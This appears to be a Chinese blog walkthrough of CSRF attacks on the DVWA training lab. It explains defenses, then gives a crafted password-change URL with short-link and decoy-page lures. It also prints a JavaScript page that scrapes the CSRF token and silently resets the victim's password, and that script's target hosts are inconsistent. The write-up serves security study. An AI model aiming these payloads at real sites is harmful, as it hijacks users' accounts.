Dvwa CSRF攻击实现

Dvwa CSRF攻击实现

今天来实现dvwa靶场中对于CSRF攻击的实现流程,在实验开始前首先我们先了解什么是CSRF、CSRF攻击流程是什么、如何防范。

CSRF攻击用大白话来讲就是借用他人的“手”来实现自己想要攻击的目标,也可以理解为自己作为一个顶替者来实现对于被攻击者或者是服务器的攻击行为。

CSRF攻击流程可以看成:

用户登录受信任网站A:用户在网站A上输入用户名和密码进行登录,并且成功建立了与网站A的有效会话(session)。

攻击者准备攻击页面:攻击者在其控制的另一个网站B上准备一个恶意页面或者广告,页面中包含对网站A的请求。这个请求可以是任何需要认证的操作,如转账、修改用户信息等。

用户访问恶意页面:用户在浏览网站B时,不知情地访问了攻击者准备的恶意页面。这个页面可能是一个看似普通的网页,但其中包含了对网站A的请求,比如一个隐藏的图片标签、链接、表单等。

发起对网站A的请求:由于用户已经在网站A上建立了有效的会话,恶意页面中的请求会利用用户的身份认证信息来向网站A发起请求。浏览器会自动带上网站A的认证信息(如cookie)。

网站A接受请求并处理:网站A接收到请求后,并不知道这个请求是来自于恶意页面,因为请求中包含了有效的用户身份认证信息(cookie)。网站A会按照正常情况处理这个请求,执行其中的操作,比如完成转账或修改用户信息。

防范思路:

  • 同源检测:网站A可以在接收到请求时,检测请求的来源是否合法。常用的方法包括检查请求的Referer头部或者自定义的CSRF Token。
  • SameSite Cookie 属性:设置Cookie的SameSite属性为Strict或者Lax,可以限制Cookie的发送,使其不被第三方网站使用。
  • 双重提交Cookie验证:要求用户在提交表单时同时发送两次Cookie,服务器验证两次Cookie是否匹配。
  • 短期有效的会话:减少会话的有效期,使得即使会话被盗用,攻击者也有较短的时间窗口来利用。

了解上述的CSRF大体思想开始我们今天的模拟攻击:

实验步骤

实验工具

物理机以及靶机 IP:192.168.32.1

攻击者kali IP:192.168.32.128

Burpsuite

实验开始

Low等级

查看源码可以看见low等级只是对更改密码和再次确认更改密码进行审查是否一致,并没有对其进行任何的限制并且对于更改密码的所有操作都在url中显示出来。所以我们可以使用构造url的方式来对靶机进行攻击(改用户的登录密码)

我们直接对网页的url进行修改就可以实现攻击

http://192.168.32.1/dvwa/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#

但是明眼人都可以看出来这个不可能点击的,所以我们应该对url进行修改让他没有防备就点击链接更改密码,使用短链接的方式实现密码修改是一个不错的选择。

短链接地址

短链接就是将一个长的url转化为一个简短的url不易被受害者发现,当然做这样一个单纯链接的方式还不够具有迷惑性,我们还可以选择做一个简易的网页更具备真实性。

简易的网页就如同这样,当然也可以精心做一个与原网页类型一致的。

Medium等级

我们首先对于low等级的攻击策略使用重构url重新攻击一次,但显示出更改密码错误。可以看出medium等级对于CSRF防范已经升级了

查看源码发现它对CSRF防范的策略增加了一个对于referer的检测,这是因为在web页面进行判断的时候,因为它增加了referer的值的检测它会让用户通过点击链接或从其他网页跳转到目标网站时,浏览器会自动在HTTP请求头中添加referer值,以便目标网站可以知道用户是从哪个网页跳转过来的。然而,如果用户直接在浏览器中输入网址或从书签中访问网站,则不会有referer值。

可以看到我们伪造的网页url并没有referer值,所以为了要实现CSRF攻击应该构造前后referer值实现更改密码的操作。

所以medium的实现思路就是得到目标主机的referer值,在实验中发现只要参数referer值包含参数host值就可以完成更改密码请求。所以我们重新使用low等级中对于构建一个恶意网站的思想这是可以实现攻击的。

我认为是本次实验环境是基于服务器192.168.32.1的,所以无论是攻击者还是受害者他们的referer的值对我们来说都是可知的所以我们就可以直接利用这个方式对其进行攻击,对于其他场景下我们还应该先得到关于受害者靶机对应的referer的值才能进一步构建攻击。

High等级

对于high等级中,对于CSRF防御增加了对于token动态的获取还需要用户在再次访问网页时要将服务器生成的token值一并返回回来,因为token是动态变化的对于实现CSRF攻击难度会提升。

所以为了实现攻击我们的思路应该是在构建恶意网页基础上还需要匹配获取token值来实现攻击。

本次攻击借鉴下面博客的代码

DVWA——CSRF_dvwa csrf-CSDN博客

<html>

<head>

    <meta charset="UTF-8">

    <title>CSRF-high</title>

</head>

</html>

<script>

    // 创建 Ajax 对象

    var xhr = new XMLHttpRequest();

    // 配置连接信息

    xhr.open("GET","http://10.9.47.90/dvwa/vulnerabilities/csrf/",true);

    // 发送请求

    xhr.send();

    // 防止循环多次运行

    flag=0

    // 页面加载完成时输出回应报文

    xhr.onreadystatechange=function (){

       if (xhr.readyState==4 && xhr.status==200){

           var res=xhr.responseText;

           // console.log(res);

           // 正则匹配 token 值

           var match=/<input type='hidden' name='user_token' value='([^']*)' \/>/;

           var token=res.match(match);

           // console.log(token[1])

           var chg_pass_url="http://192.168.32.1/dvwa/vulnerabilities/csrf/?password_new=111&password_conf=111&Change=Change&user_token="+token[1]

           console.log(chg_pass_url)

           if(flag==0){

              flag+=1;

              // 携带获取的 cookie 发送更改密码请求

              xhr.open("GET",chg_pass_url,false);

              xhr.send();

           }

       }

    }

</script>

通过这样的方式受害者靶机的密码就被更改为111

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值